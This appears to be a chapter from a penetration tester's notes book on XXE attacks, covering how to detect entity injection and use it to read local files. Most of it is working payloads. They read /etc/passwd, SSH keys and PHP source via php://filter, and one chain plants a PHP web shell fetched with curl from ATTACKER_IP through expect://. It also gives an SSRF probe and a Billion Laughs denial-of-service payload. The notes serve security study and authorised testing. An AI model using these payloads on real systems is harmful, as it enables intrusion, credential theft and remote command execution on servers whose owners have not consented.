Keyboard shortcuts

Press โ† or โ†’ to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

๐Ÿ  Back to Blog

XXE โ€” Local File Disclosure

Identifying XXE vulnerabilities

Look for web forms or API endpoints that submit data in XML format. Intercept the request with Burp and inspect the Content-Type and body.

Step 1 โ€” confirm entity injection works

Add an inline DTD with an internal entity and replace a reflected fieldโ€™s value with the entity reference:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company "Inlane Freight">
]>
<root>
  <name>test</name>
  <email>&company;</email>
  ...
</root>
  • If the response reflects Inlane Freight โ€” the parser is substituting entities and the app is vulnerable
  • If the response reflects &company; literally โ€” entity injection is not working

If the XML already contains a DOCTYPE, add the ENTITY declaration inside the existing block rather than inserting a new one.

Tip: Some applications default to JSON but also accept XML. Try switching Content-Type: application/json โ†’ Content-Type: application/xml and converting the body. An unexpected XXE may be present.

Reading sensitive files

Replace the internal entity value with an external SYSTEM reference pointing to a local file:

<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>

Reference &company; in a reflected element. If the file contents appear in the response, the XXE is exploitable for local file disclosure.

Common targets:

  • /etc/passwd โ€” user accounts
  • /etc/shadow โ€” password hashes (requires root)
  • ~/.ssh/id_rsa โ€” SSH private keys
  • Application config files containing database credentials or API keys

On Java web applications, pointing the entity at a directory path may return a directory listing rather than an error.

Reading source code (PHP)

Plain file:// breaks on files containing XML special characters (<, >, &). Use PHPโ€™s base64 filter wrapper to encode the file contents first:

<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>

The response will contain the base64-encoded source. Decode it with Burpโ€™s Inspector tab or base64 -d. This enables whitebox analysis for further vulnerabilities.

Limitation: PHP filter wrappers only work on PHP applications.

Remote code execution via XXE

Option 1 โ€” expect:// (PHP only, rarely available)

If the PHP expect module is installed:

<!ENTITY company SYSTEM "expect://id">

This only works for simple commands โ€” complex payloads (pipes, redirects, {) may break XML syntax.

Option 2 โ€” web shell delivery via expect://curl

Prepare the shell and serve it:

echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80

Deliver via XXE:

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'ATTACKER_IP/shell.php'">
]>
<root>
  <email>&company;</email>
  ...
</root>

$IFS replaces spaces to avoid breaking XML syntax. Avoid |, >, { in the command. After a request hits the Python server, interact with the shell for RCE.

Note: expect is not enabled by default on modern PHP servers โ€” XXE is more commonly used for file disclosure than RCE.

Other XXE attack classes

SSRF

Replace the external entity path with an internal URL to probe localhost ports or restricted internal pages:

<!ENTITY company SYSTEM "http://127.0.0.1:8080/admin">

DoS โ€” Billion Laughs

Exponential entity expansion exhausts server memory:

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY a0 "DOS" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  <!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
  ...
  <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
]>
<root><email>&a10;</email></root>

Each level multiplies the previous by 10 โ€” a10 expands to 10 billion copies of DOS. Modern servers (e.g., Apache) protect against self-referencing entity loops, so this has limited practical impact today.